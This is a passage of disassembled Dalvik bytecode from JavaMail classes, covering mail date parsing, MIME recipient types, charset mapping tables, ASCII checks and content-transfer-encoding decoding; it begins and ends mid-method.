00000058 throw v0
:5A
0000005A move v0, v1
0000005C goto :3C
.end method
.method public parseTimeZone()I
.registers 4
00000000 iget v0, p0, MailDateParser->index:I
00000004 iget-object v1, p0, MailDateParser->orig:[C
00000008 array-length v1, v1
0000000A if-lt v0, v1, :22
:E
0000000E new-instance v0, ParseException
00000012 const-string v1, "No more characters"
00000016 iget v2, p0, MailDateParser->index:I
0000001A invoke-direct ParseException-><init>(String, I)V, v0, v1, v2
00000020 throw v0
:22
00000022 iget-object v0, p0, MailDateParser->orig:[C
00000026 iget v1, p0, MailDateParser->index:I
0000002A aget-char v0, v0, v1
0000002E const/16 v1, 0x2B
00000032 if-eq v0, v1, :3E
:36
00000036 const/16 v1, 0x2D
0000003A if-ne v0, v1, :48
:3E
0000003E invoke-virtual MailDateParser->parseNumericTimeZone()I, p0
00000044 move-result v0
:46
00000046 return v0
:48
00000048 invoke-virtual MailDateParser->parseAlphaTimeZone()I, p0
0000004E move-result v0
00000050 goto :46
.end method
.method public peekChar()I
.registers 4
00000000 iget v0, p0, MailDateParser->index:I
00000004 iget-object v1, p0, MailDateParser->orig:[C
00000008 array-length v1, v1
0000000A if-ge v0, v1, :1C
:E
0000000E iget-object v0, p0, MailDateParser->orig:[C
00000012 iget v1, p0, MailDateParser->index:I
00000016 aget-char v0, v0, v1
0000001A return v0
:1C
0000001C new-instance v0, ParseException
00000020 const-string v1, "No more characters"
00000024 iget v2, p0, MailDateParser->index:I
00000028 invoke-direct ParseException-><init>(String, I)V, v0, v1, v2
0000002E throw v0
.end method
.method public skipChar(C)V
.registers 5
00000000 iget v0, p0, MailDateParser->index:I
00000004 iget-object v1, p0, MailDateParser->orig:[C
00000008 array-length v1, v1
0000000A if-ge v0, v1, :40
:E
0000000E iget-object v0, p0, MailDateParser->orig:[C
00000012 iget v1, p0, MailDateParser->index:I
00000016 aget-char v0, v0, v1
0000001A if-ne v0, p1, :2C
:1E
0000001E iget v0, p0, MailDateParser->index:I
00000022 add-int/lit8 v0, v0, 0x1
00000026 iput v0, p0, MailDateParser->index:I
0000002A return-void
:2C
0000002C new-instance v0, ParseException
00000030 const-string v1, "Wrong char"
00000034 iget v2, p0, MailDateParser->index:I
00000038 invoke-direct ParseException-><init>(String, I)V, v0, v1, v2
0000003E throw v0
:40
00000040 new-instance v0, ParseException
00000044 const-string v1, "No more characters"
00000048 iget v2, p0, MailDateParser->index:I
0000004C invoke-direct ParseException-><init>(String, I)V, v0, v1, v2
00000052 throw v0
.end method
.method public skipIfChar(C)Z
.registers 5
00000000 iget v0, p0, MailDateParser->index:I
00000004 iget-object v1, p0, MailDateParser->orig:[C
00000008 array-length v1, v1
0000000A if-ge v0, v1, :32
:E
0000000E iget-object v0, p0, MailDateParser->orig:[C
00000012 iget v1, p0, MailDateParser->index:I
00000016 aget-char v0, v0, v1
0000001A if-ne v0, p1, :2E
:1E
0000001E iget v0, p0, MailDateParser->index:I
00000022 add-int/lit8 v0, v0, 0x1
00000026 iput v0, p0, MailDateParser->index:I
0000002A const/4 v0, 0x1
:2C
0000002C return v0
:2E
0000002E const/4 v0, 0x0
00000030 goto :2C
:32
00000032 new-instance v0, ParseException
00000036 const-string v1, "No more characters"
0000003A iget v2, p0, MailDateParser->index:I
0000003E invoke-direct ParseException-><init>(String, I)V, v0, v1, v2
00000044 throw v0
.end method
.method public skipUntilNumber()V
.registers 4
00000000 iget-object v0, p0, MailDateParser->orig:[C
00000004 iget v1, p0, MailDateParser->index:I
00000008 aget-char v0, v0, v1
0000000C packed-switch v0, :38
:12
00000012 iget v0, p0, MailDateParser->index:I
00000016 add-int/lit8 v0, v0, 0x1
0000001A iput v0, p0, MailDateParser->index:I
:1E
0000001E goto :0
:20
00000020 move-exception v0
00000022 new-instance v0, ParseException
00000026 const-string v1, "No Number Found"
0000002A iget v2, p0, MailDateParser->index:I
0000002E invoke-direct ParseException-><init>(String, I)V, v0, v1, v2
00000034 throw v0
:36
00000036 return-void
.catch ArrayIndexOutOfBoundsException {:0 .. :1E} :20
00000038 .packed-switch 0x30
:36
:36
:36
:36
:36
:36
:36
:36
:36
:36
.end packed-switch
.end method
.method public skipWhiteSpace()V
.registers 4
00000000 iget-object v0, p0, MailDateParser->orig:[C
00000004 array-length v0, v0
:6
00000006 iget v1, p0, MailDateParser->index:I
0000000A if-lt v1, v0, :10
:E
0000000E return-void
:10
00000010 iget-object v1, p0, MailDateParser->orig:[C
00000014 iget v2, p0, MailDateParser->index:I
00000018 aget-char v1, v1, v2
0000001C sparse-switch v1, :34
:22
00000022 goto :E
:24
00000024 iget v1, p0, MailDateParser->index:I
00000028 add-int/lit8 v1, v1, 0x1
0000002C iput v1, p0, MailDateParser->index:I
00000030 goto :6
00000034 .sparse-switch
0x9 -> :24
0xA -> :24
0xD -> :24
0x20 -> :24
.end sparse-switch
.end method
#--------------------------------------------------------------------------------
.class public MimeMessage$RecipientType
.super Message$RecipientType
.source ""
.field public static final NEWSGROUPS:MimeMessage$RecipientType = null
.field private static final serialVersionUID:J = 0xB41CBA943BBDEE69L
.method static constructor <clinit>()V
.registers 2
00000000 new-instance v0, MimeMessage$RecipientType
00000004 const-string v1, "Newsgroups"
00000008 invoke-direct MimeMessage$RecipientType-><init>(String)V, v0, v1
0000000E sput-object v0, MimeMessage$RecipientType->NEWSGROUPS:MimeMessage$RecipientType
00000012 return-void
.end method
.method protected constructor <init>(String)V
.registers 2
00000000 invoke-direct Message$RecipientType-><init>(String)V, p0, p1
00000006 return-void
.end method
.method protected readResolve()Object
.registers 3
00000000 iget-object v0, p0, MimeMessage$RecipientType->type:String
00000004 const-string v1, "Newsgroups"
00000008 invoke-virtual String->equals(Object)Z, v0, v1
0000000E move-result v0
00000010 if-eqz v0, :1A
:14
00000014 sget-object v0, MimeMessage$RecipientType->NEWSGROUPS:MimeMessage$RecipientType
:18
00000018 return-object v0
:1A
0000001A invoke-super Message$RecipientType->readResolve()Object, p0
00000020 move-result-object v0
00000022 goto :18
.end method
#--------------------------------------------------------------------------------
.class MimeUtility$1NullInputStream
.super InputStream
.source ""
.method constructor <init>()V
.registers 1
00000000 invoke-direct InputStream-><init>()V, p0
00000006 return-void
.end method
.method public read()I
.registers 2
00000000 const/4 v0, 0x0
00000002 return v0
.end method
#--------------------------------------------------------------------------------
.class public MimeUtility
.super Object
.source ""
.field public static final ALL:I = 0xFFFFFFFF
.field static final ALL_ASCII:I = 0x1
.field static final MOSTLY_ASCII:I = 0x2
.field static final MOSTLY_NONASCII:I = 0x3
.field private static decodeStrict:Z
.field private static defaultJavaCharset:String
.field private static defaultMIMECharset:String
.field private static encodeEolStrict:Z
.field private static foldEncodedWords:Z
.field private static foldText:Z
.field private static java2mime:Hashtable
.field private static mime2java:Hashtable
.method static constructor <clinit>()V
.registers 5
00000000 const/4 v2, 0x1
00000002 const/4 v1, 0x0
00000004 sput-boolean v2, MimeUtility->decodeStrict:Z
00000008 sput-boolean v1, MimeUtility->encodeEolStrict:Z
0000000C sput-boolean v1, MimeUtility->foldEncodedWords:Z
00000010 sput-boolean v2, MimeUtility->foldText:Z
:14
00000014 const-string v3, "mail.mime.decodetext.strict"
00000018 invoke-static System->getProperty(String)String, v3
0000001E move-result-object v3
00000020 if-eqz v3, :462
:24
00000024 const-string v4, "false"
00000028 invoke-virtual String->equalsIgnoreCase(String)Z, v3, v4
0000002E move-result v3
00000030 if-eqz v3, :462
:34
00000034 move v3, v1
:36
00000036 sput-boolean v3, MimeUtility->decodeStrict:Z
0000003A const-string v3, "mail.mime.encodeeol.strict"
0000003E invoke-static System->getProperty(String)String, v3
00000044 move-result-object v3
00000046 if-eqz v3, :468
:4A
0000004A const-string v4, "true"
0000004E invoke-virtual String->equalsIgnoreCase(String)Z, v3, v4
00000054 move-result v3
00000056 if-eqz v3, :468
:5A
0000005A move v3, v2
:5C
0000005C sput-boolean v3, MimeUtility->encodeEolStrict:Z
00000060 const-string v3, "mail.mime.foldencodedwords"
00000064 invoke-static System->getProperty(String)String, v3
0000006A move-result-object v3
0000006C if-eqz v3, :46E
:70
00000070 const-string v4, "true"
00000074 invoke-virtual String->equalsIgnoreCase(String)Z, v3, v4
0000007A move-result v3
0000007C if-eqz v3, :46E
:80
00000080 move v3, v2
:82
00000082 sput-boolean v3, MimeUtility->foldEncodedWords:Z
00000086 const-string v3, "mail.mime.foldtext"
0000008A invoke-static System->getProperty(String)String, v3
00000090 move-result-object v3
00000092 if-eqz v3, :474
:96
00000096 const-string v4, "false"
0000009A invoke-virtual String->equalsIgnoreCase(String)Z, v3, v4
000000A0 move-result v3
000000A2 if-eqz v3, :474
:A6
000000A6 sput-boolean v1, MimeUtility->foldText:Z
:AA
000000AA new-instance v1, Hashtable
000000AE const/16 v2, 0x28
000000B2 invoke-direct Hashtable-><init>(I)V, v1, v2
000000B8 sput-object v1, MimeUtility->java2mime:Hashtable
000000BC new-instance v1, Hashtable
000000C0 const/16 v2, 0xA
000000C4 invoke-direct Hashtable-><init>(I)V, v1, v2
000000CA sput-object v1, MimeUtility->mime2java:Hashtable
:CE
000000CE const-class v1, MimeUtility
000000D2 const-string v2, "/META-INF/javamail.charset.map"
000000D6 invoke-virtual Class->getResourceAsStream(String)InputStream, v1, v2
:DC
000000DC move-result-object v3
000000DE if-eqz v3, :116
:E2
000000E2 new-instance v2, LineInputStream
000000E6 invoke-direct LineInputStream-><init>(InputStream)V, v2, v3
:EC
000000EC move-object v0, v2
000000EE check-cast v0, LineInputStream
000000F2 move-object v1, v0
000000F4 sget-object v3, MimeUtility->java2mime:Hashtable
000000F8 invoke-static MimeUtility->loadMappings(LineInputStream, Hashtable)V, v1, v3
000000FE move-object v0, v2
00000100 check-cast v0, LineInputStream
00000104 move-object v1, v0
00000106 sget-object v3, MimeUtility->mime2java:Hashtable
0000010A invoke-static MimeUtility->loadMappings(LineInputStream, Hashtable)V, v1, v3
:110
00000110 invoke-virtual InputStream->close()V, v2
:116
00000116 sget-object v1, MimeUtility->java2mime:Hashtable
0000011A invoke-virtual Hashtable->isEmpty()Z, v1
00000120 move-result v1
00000122 if-eqz v1, :39C
:126
00000126 sget-object v1, MimeUtility->java2mime:Hashtable
0000012A const-string v2, "8859_1"
0000012E const-string v3, "ISO-8859-1"
00000132 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
00000138 sget-object v1, MimeUtility->java2mime:Hashtable
0000013C const-string v2, "iso8859_1"
00000140 const-string v3, "ISO-8859-1"
00000144 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
0000014A sget-object v1, MimeUtility->java2mime:Hashtable
0000014E const-string v2, "iso8859-1"
00000152 const-string v3, "ISO-8859-1"
00000156 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
0000015C sget-object v1, MimeUtility->java2mime:Hashtable
00000160 const-string v2, "8859_2"
00000164 const-string v3, "ISO-8859-2"
00000168 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
0000016E sget-object v1, MimeUtility->java2mime:Hashtable
00000172 const-string v2, "iso8859_2"
00000176 const-string v3, "ISO-8859-2"
0000017A invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
00000180 sget-object v1, MimeUtility->java2mime:Hashtable
00000184 const-string v2, "iso8859-2"
00000188 const-string v3, "ISO-8859-2"
0000018C invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
00000192 sget-object v1, MimeUtility->java2mime:Hashtable
00000196 const-string v2, "8859_3"
0000019A const-string v3, "ISO-8859-3"
0000019E invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
000001A4 sget-object v1, MimeUtility->java2mime:Hashtable
000001A8 const-string v2, "iso8859_3"
000001AC const-string v3, "ISO-8859-3"
000001B0 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
000001B6 sget-object v1, MimeUtility->java2mime:Hashtable
000001BA const-string v2, "iso8859-3"
000001BE const-string v3, "ISO-8859-3"
000001C2 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
000001C8 sget-object v1, MimeUtility->java2mime:Hashtable
000001CC const-string v2, "8859_4"
000001D0 const-string v3, "ISO-8859-4"
000001D4 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
000001DA sget-object v1, MimeUtility->java2mime:Hashtable
000001DE const-string v2, "iso8859_4"
000001E2 const-string v3, "ISO-8859-4"
000001E6 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
000001EC sget-object v1, MimeUtility->java2mime:Hashtable
000001F0 const-string v2, "iso8859-4"
000001F4 const-string v3, "ISO-8859-4"
000001F8 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
000001FE sget-object v1, MimeUtility->java2mime:Hashtable
00000202 const-string v2, "8859_5"
00000206 const-string v3, "ISO-8859-5"
0000020A invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
00000210 sget-object v1, MimeUtility->java2mime:Hashtable
00000214 const-string v2, "iso8859_5"
00000218 const-string v3, "ISO-8859-5"
0000021C invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
00000222 sget-object v1, MimeUtility->java2mime:Hashtable
00000226 const-string v2, "iso8859-5"
0000022A const-string v3, "ISO-8859-5"
0000022E invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
00000234 sget-object v1, MimeUtility->java2mime:Hashtable
00000238 const-string v2, "8859_6"
0000023C const-string v3, "ISO-8859-6"
00000240 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
00000246 sget-object v1, MimeUtility->java2mime:Hashtable
0000024A const-string v2, "iso8859_6"
0000024E const-string v3, "ISO-8859-6"
00000252 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
00000258 sget-object v1, MimeUtility->java2mime:Hashtable
0000025C const-string v2, "iso8859-6"
00000260 const-string v3, "ISO-8859-6"
00000264 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
0000026A sget-object v1, MimeUtility->java2mime:Hashtable
0000026E const-string v2, "8859_7"
00000272 const-string v3, "ISO-8859-7"
00000276 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
0000027C sget-object v1, MimeUtility->java2mime:Hashtable
00000280 const-string v2, "iso8859_7"
00000284 const-string v3, "ISO-8859-7"
00000288 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
0000028E sget-object v1, MimeUtility->java2mime:Hashtable
00000292 const-string v2, "iso8859-7"
00000296 const-string v3, "ISO-8859-7"
0000029A invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
000002A0 sget-object v1, MimeUtility->java2mime:Hashtable
000002A4 const-string v2, "8859_8"
000002A8 const-string v3, "ISO-8859-8"
000002AC invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
000002B2 sget-object v1, MimeUtility->java2mime:Hashtable
000002B6 const-string v2, "iso8859_8"
000002BA const-string v3, "ISO-8859-8"
000002BE invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
000002C4 sget-object v1, MimeUtility->java2mime:Hashtable
000002C8 const-string v2, "iso8859-8"
000002CC const-string v3, "ISO-8859-8"
000002D0 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
000002D6 sget-object v1, MimeUtility->java2mime:Hashtable
000002DA const-string v2, "8859_9"
000002DE const-string v3, "ISO-8859-9"
000002E2 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
000002E8 sget-object v1, MimeUtility->java2mime:Hashtable
000002EC const-string v2, "iso8859_9"
000002F0 const-string v3, "ISO-8859-9"
000002F4 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
000002FA sget-object v1, MimeUtility->java2mime:Hashtable
000002FE const-string v2, "iso8859-9"
00000302 const-string v3, "ISO-8859-9"
00000306 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
0000030C sget-object v1, MimeUtility->java2mime:Hashtable
00000310 const-string v2, "sjis"
00000314 const-string v3, "Shift_JIS"
00000318 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
0000031E sget-object v1, MimeUtility->java2mime:Hashtable
00000322 const-string v2, "jis"
00000326 const-string v3, "ISO-2022-JP"
0000032A invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
00000330 sget-object v1, MimeUtility->java2mime:Hashtable
00000334 const-string v2, "iso2022jp"
00000338 const-string v3, "ISO-2022-JP"
0000033C invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
00000342 sget-object v1, MimeUtility->java2mime:Hashtable
00000346 const-string v2, "euc_jp"
0000034A const-string v3, "euc-jp"
0000034E invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
00000354 sget-object v1, MimeUtility->java2mime:Hashtable
00000358 const-string v2, "koi8_r"
0000035C const-string v3, "koi8-r"
00000360 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
00000366 sget-object v1, MimeUtility->java2mime:Hashtable
0000036A const-string v2, "euc_cn"
0000036E const-string v3, "euc-cn"
00000372 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
00000378 sget-object v1, MimeUtility->java2mime:Hashtable
0000037C const-string v2, "euc_tw"
00000380 const-string v3, "euc-tw"
00000384 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
0000038A sget-object v1, MimeUtility->java2mime:Hashtable
0000038E const-string v2, "euc_kr"
00000392 const-string v3, "euc-kr"
00000396 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
:39C
0000039C sget-object v1, MimeUtility->mime2java:Hashtable
000003A0 invoke-virtual Hashtable->isEmpty()Z, v1
000003A6 move-result v1
000003A8 if-eqz v1, :460
:3AC
000003AC sget-object v1, MimeUtility->mime2java:Hashtable
000003B0 const-string v2, "iso-2022-cn"
000003B4 const-string v3, "ISO2022CN"
000003B8 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
000003BE sget-object v1, MimeUtility->mime2java:Hashtable
000003C2 const-string v2, "iso-2022-kr"
000003C6 const-string v3, "ISO2022KR"
000003CA invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
000003D0 sget-object v1, MimeUtility->mime2java:Hashtable
000003D4 const-string v2, "utf-8"
000003D8 const-string v3, "UTF8"
000003DC invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
000003E2 sget-object v1, MimeUtility->mime2java:Hashtable
000003E6 const-string v2, "utf8"
000003EA const-string v3, "UTF8"
000003EE invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
000003F4 sget-object v1, MimeUtility->mime2java:Hashtable
000003F8 const-string v2, "ja_jp.iso2022-7"
000003FC const-string v3, "ISO2022JP"
00000400 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
00000406 sget-object v1, MimeUtility->mime2java:Hashtable
0000040A const-string v2, "ja_jp.eucjp"
0000040E const-string v3, "EUCJIS"
00000412 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
00000418 sget-object v1, MimeUtility->mime2java:Hashtable
0000041C const-string v2, "euc-kr"
00000420 const-string v3, "KSC5601"
00000424 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
0000042A sget-object v1, MimeUtility->mime2java:Hashtable
0000042E const-string v2, "euckr"
00000432 const-string v3, "KSC5601"
00000436 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
0000043C sget-object v1, MimeUtility->mime2java:Hashtable
00000440 const-string v2, "us-ascii"
00000444 const-string v3, "ISO-8859-1"
00000448 invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
0000044E sget-object v1, MimeUtility->mime2java:Hashtable
00000452 const-string v2, "x-us-ascii"
00000456 const-string v3, "ISO-8859-1"
0000045A invoke-virtual Hashtable->put(Object, Object)Object, v1, v2, v3
:460
00000460 return-void
:462
00000462 move v3, v2
00000464 goto/16 :36
:468
00000468 move v3, v1
0000046A goto/16 :5C
:46E
0000046E move v3, v1
00000470 goto/16 :82
:474
00000474 move v1, v2
00000476 goto/16 :A6
:47A
0000047A move-exception v1
0000047C move-object v2, v3
:47E
0000047E invoke-virtual InputStream->close()V, v2
:484
00000484 throw v1
:486
00000486 move-exception v1
00000488 goto/16 :116
:48C
0000048C move-exception v2
0000048E goto :484
:490
00000490 move-exception v1
00000492 goto/16 :116
:496
00000496 move-exception v1
00000498 goto :47E
:49A
0000049A move-exception v1
0000049C goto/16 :AA
.catch SecurityException {:14 .. :AA} :49A
.catch Exception {:CE .. :DC} :486
.catchall {:E2 .. :EC} :47A
.catchall {:EC .. :110} :496
.catch Exception {:110 .. :116} :490
.catch Exception {:47E .. :484} :48C
.catch Exception {:484 .. :486} :486
.end method
.method private constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method static checkAscii(InputStream, I, Z)I
.registers 20
00000000 const/4 v7, 0x0
00000002 const/4 v6, 0x0
00000004 const/16 v3, 0x1000
00000008 const/4 v9, 0x0
0000000A const/4 v5, 0x0
0000000C const/4 v4, 0x0
0000000E sget-boolean v1, MimeUtility->encodeEolStrict:Z
00000012 if-eqz v1, :58
:16
00000016 if-eqz p2, :58
:1A
0000001A const/4 v1, 0x1
0000001C move v2, v1
:1E
0000001E const/4 v1, 0x0
00000020 check-cast v1, [B
00000024 if-eqz p1, :196
:28
00000028 const/4 v1, 0xFFFFFFFFFFFFFFFF
0000002A move/from16 v0, p1
0000002E if-ne v0, v1, :5E
:32
00000032 const/16 v1, 0x1000
:36
00000036 new-array v3, v1, [B
0000003A move-object v10, v3
0000003C move v8, v9
0000003E move v11, v1
00000040 move v1, v4
00000042 move v3, v5
00000044 move v4, v6
00000046 move v5, v7
:48
00000048 if-nez p1, :70
:4C
0000004C if-nez p1, :14A
:50
00000050 if-eqz p2, :14A
:54
00000054 const/4 v1, 0x3
:56
00000056 return v1
:58
00000058 const/4 v1, 0x0
0000005A move v2, v1
0000005C goto :1E
:5E
0000005E const/16 v1, 0x1000
00000062 move/from16 v0, p1
00000066 invoke-static Math->min(I, I)I, v0, v1
0000006C move-result v1
0000006E goto :36
:70
00000070 const/4 v6, 0x0
:72
00000072 move-object/from16 v0, p0
00000076 invoke-virtual InputStream->read([B, I, I)I, v0, v10, v6, v11
:7C
0000007C move-result v12
0000007E const/4 v6, 0xFFFFFFFFFFFFFFFF
00000080 if-eq v12, v6, :4C
:84
00000084 const/4 v7, 0x0
00000086 const/4 v6, 0x0
00000088 move v9, v8
0000008A move v14, v7
0000008C move v7, v6
0000008E move v6, v14
00000090 move v15, v3
00000092 move v3, v5
00000094 move v5, v15
00000096 move/from16 v16, v4
0000009A move v4, v1
0000009C move/from16 v1, v16
:A0
000000A0 if-lt v7, v12, :C2
:A4
000000A4 const/4 v6, 0xFFFFFFFFFFFFFFFF
000000A6 move/from16 v0, p1
000000AA if-eq v0, v6, :184
:AE
000000AE sub-int p1, p1, v12
000000B2 move v8, v9
000000B4 move v14, v5
000000B6 move v5, v3
000000B8 move v3, v14
000000BA move v15, v1
000000BC move v1, v4
000000BE move v4, v15
000000C0 goto :48
:C2
000000C2 aget-byte v8, v10, v7
000000C6 and-int/lit16 v8, v8, 0xFF
000000CA if-eqz v2, :F0
:CE
000000CE const/16 v13, 0xD
000000D2 if-ne v6, v13, :DE
:D6
000000D6 const/16 v13, 0xA
000000DA if-ne v8, v13, :EE
:DE
000000DE const/16 v13, 0xD
000000E2 if-eq v6, v13, :F0
:E6
000000E6 const/16 v6, 0xA
000000EA if-ne v8, v6, :F0
:EE
000000EE const/4 v4, 0x1
:F0
000000F0 const/16 v6, 0xD
000000F4 if-eq v8, v6, :100
:F8
000000F8 const/16 v6, 0xA
000000FC if-ne v8, v6, :116
:100
00000100 const/4 v6, 0x0
:102
00000102 invoke-static MimeUtility->nonascii(I)Z, v8
:108
00000108 move-result v9
0000010A if-eqz v9, :134
:10E
0000010E if-eqz p2, :126
:112
00000112 const/4 v1, 0x3
00000114 goto :56
:116
00000116 add-int/lit8 v6, v9, 0x1
0000011A const/16 v9, 0x3E6
0000011E if-le v6, v9, :102
:122
00000122 const/4 v5, 0x1
00000124 goto :102
:126
00000126 add-int/lit8 v1, v1, 0x1
:12A
0000012A add-int/lit8 v7, v7, 0x1
0000012E move v9, v6
00000130 move v6, v8
00000132 goto :A0
:134
00000134 add-int/lit8 v3, v3, 0x1
00000138 goto :12A
:13A
0000013A move-exception v2
0000013C move v2, v3
0000013E move v3, v4
00000140 move v4, v5
:142
00000142 move v5, v4
00000144 move v4, v3
00000146 move v3, v2
00000148 goto :4C
:14A
0000014A if-nez v4, :166
:14E
0000014E if-eqz v1, :156
:152
00000152 const/4 v1, 0x3
00000154 goto :56
:156
00000156 if-eqz v3, :160
:15A
0000015A const/4 v1, 0x2
0000015C goto/16 :56
:160
00000160 const/4 v1, 0x1
00000162 goto/16 :56
:166
00000166 if-le v5, v4, :170
:16A
0000016A const/4 v1, 0x2
0000016C goto/16 :56
:170
00000170 const/4 v1, 0x3
00000172 goto/16 :56
:176
00000176 move-exception v2
00000178 move v2, v5
0000017A move v14, v4
0000017C move v4, v3
0000017E move v3, v1
00000180 move v1, v14
00000182 goto :142
:184
00000184 move v8, v9
00000186 move v14, v5
00000188 move v5, v3
0000018A move v3, v14
0000018C move v15, v1
0000018E move v1, v4
00000190 move v4, v15
00000192 goto/16 :48
:196
00000196 move-object v10, v1
00000198 move v8, v9
0000019A move v11, v3
0000019C move v1, v4
0000019E move v3, v5
000001A0 move v4, v6
000001A2 move v5, v7
000001A4 goto/16 :48
.catch IOException {:72 .. :7C} :13A
.catch IOException {:C2 .. :108} :176
.end method
.method static checkAscii(String)I
.registers 6
00000000 const/4 v0, 0x0
00000002 invoke-virtual String->length()I, p0
00000008 move-result v3
0000000A move v2, v0
0000000C move v1, v0
:E
0000000E if-lt v2, v3, :1A
:12
00000012 if-nez v0, :3E
:16
00000016 const/4 v0, 0x1
:18
00000018 return v0
:1A
0000001A invoke-virtual String->charAt(I)C, p0, v2
00000020 move-result v4
00000022 invoke-static MimeUtility->nonascii(I)Z, v4
00000028 move-result v4
0000002A if-eqz v4, :38
:2E
0000002E add-int/lit8 v0, v0, 0x1
:32
00000032 add-int/lit8 v2, v2, 0x1
00000036 goto :E
:38
00000038 add-int/lit8 v1, v1, 0x1
0000003C goto :32
:3E
0000003E if-le v1, v0, :46
:42
00000042 const/4 v0, 0x2
00000044 goto :18
:46
00000046 const/4 v0, 0x3
00000048 goto :18
.end method
.method static checkAscii([B)I
.registers 5
00000000 const/4 v0, 0x0
00000002 move v1, v0
00000004 move v2, v0
:6
00000006 array-length v3, p0
00000008 if-lt v0, v3, :14
:C
0000000C if-nez v1, :38
:10
00000010 const/4 v0, 0x1
:12
00000012 return v0
:14
00000014 aget-byte v3, p0, v0
00000018 and-int/lit16 v3, v3, 0xFF
0000001C invoke-static MimeUtility->nonascii(I)Z, v3
00000022 move-result v3
00000024 if-eqz v3, :32
:28
00000028 add-int/lit8 v1, v1, 0x1
:2C
0000002C add-int/lit8 v0, v0, 0x1
00000030 goto :6
:32
00000032 add-int/lit8 v2, v2, 0x1
00000036 goto :2C
:38
00000038 if-le v2, v1, :40
:3C
0000003C const/4 v0, 0x2
0000003E goto :12
:40
00000040 const/4 v0, 0x3
00000042 goto :12
.end method
.method public static decode(InputStream, String)InputStream
.registers 5
00000000 const-string v0, "base64"
00000004 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
0000000A move-result v0
0000000C if-eqz v0, :1E
:10
00000010 new-instance v0, BASE64DecoderStream
00000014 invoke-direct BASE64DecoderStream-><init>(InputStream)V, v0, p0
0000001A move-object p0, v0
:1C
0000001C return-object p0
:1E
0000001E const-string v0, "quoted-printable"
00000022 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
00000028 move-result v0
0000002A if-eqz v0, :3C
:2E
0000002E new-instance v0, QPDecoderStream
00000032 invoke-direct QPDecoderStream-><init>(InputStream)V, v0, p0
00000038 move-object p0, v0
0000003A goto :1C
:3C
0000003C const-string v0, "uuencode"
00000040 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
00000046 move-result v0
00000048 if-nez v0, :6C
:4C
0000004C const-string v0, "x-uuencode"
00000050 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
00000056 move-result v0
00000058 if-nez v0, :6C
:5C
0000005C const-string v0, "x-uue"
00000060 invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
00000066 move-result v0
00000068 if-eqz v0, :7A
:6C
0000006C new-instance v0, UUDecoderStream
00000070 invoke-direct UUDecoderStream-><init>(InputStream)V, v0, p0
00000076 move-object p0, v0
00000078 goto :1C
:7A
0000007A const-string v0, "binary"
0000007E invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
00000084 move-result v0
00000086 if-nez v0, :1C
:8A
0000008A const-string v0, "7bit"
0000008E invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
00000094 move-result v0
00000096 if-nez v0, :1C
:9A
0000009A const-string v0, "8bit"
0000009E invoke-virtual String->equalsIgnoreCase(String)Z, p1, v0
000000A4 move-result v0
000000A6 if-nez v0, :1C
:AA
000000AA new-instance v0, MessagingException
000000AE new-instance v1, StringBuilder
000000B2 const-string v2, "Unknown encoding: "
000000B6 invoke-direct StringBuilder-><init>(String)V, v1, v2
000000BC invoke-virtual StringBuilder->append(String)StringBuilder, v1, p1
000000C2 move-result-object v1
000000C4 invoke-virtual StringBuilder->toString()String, v1
000000CA move-result-object v1
000000CC invoke-direct MessagingException-><init>(String)V, v0, v1
000000D2 throw v0
.end method
.method private static decodeInnerWords(String)String
.registers 7
00000000 const/16 v5, 0x3F
00000004 const/4 v0, 0x0
00000006 new-instance v1, StringBuffer
0000000A invoke-direct StringBuffer-><init>()V, v1
:10
00000010 const-string v2, "=?"
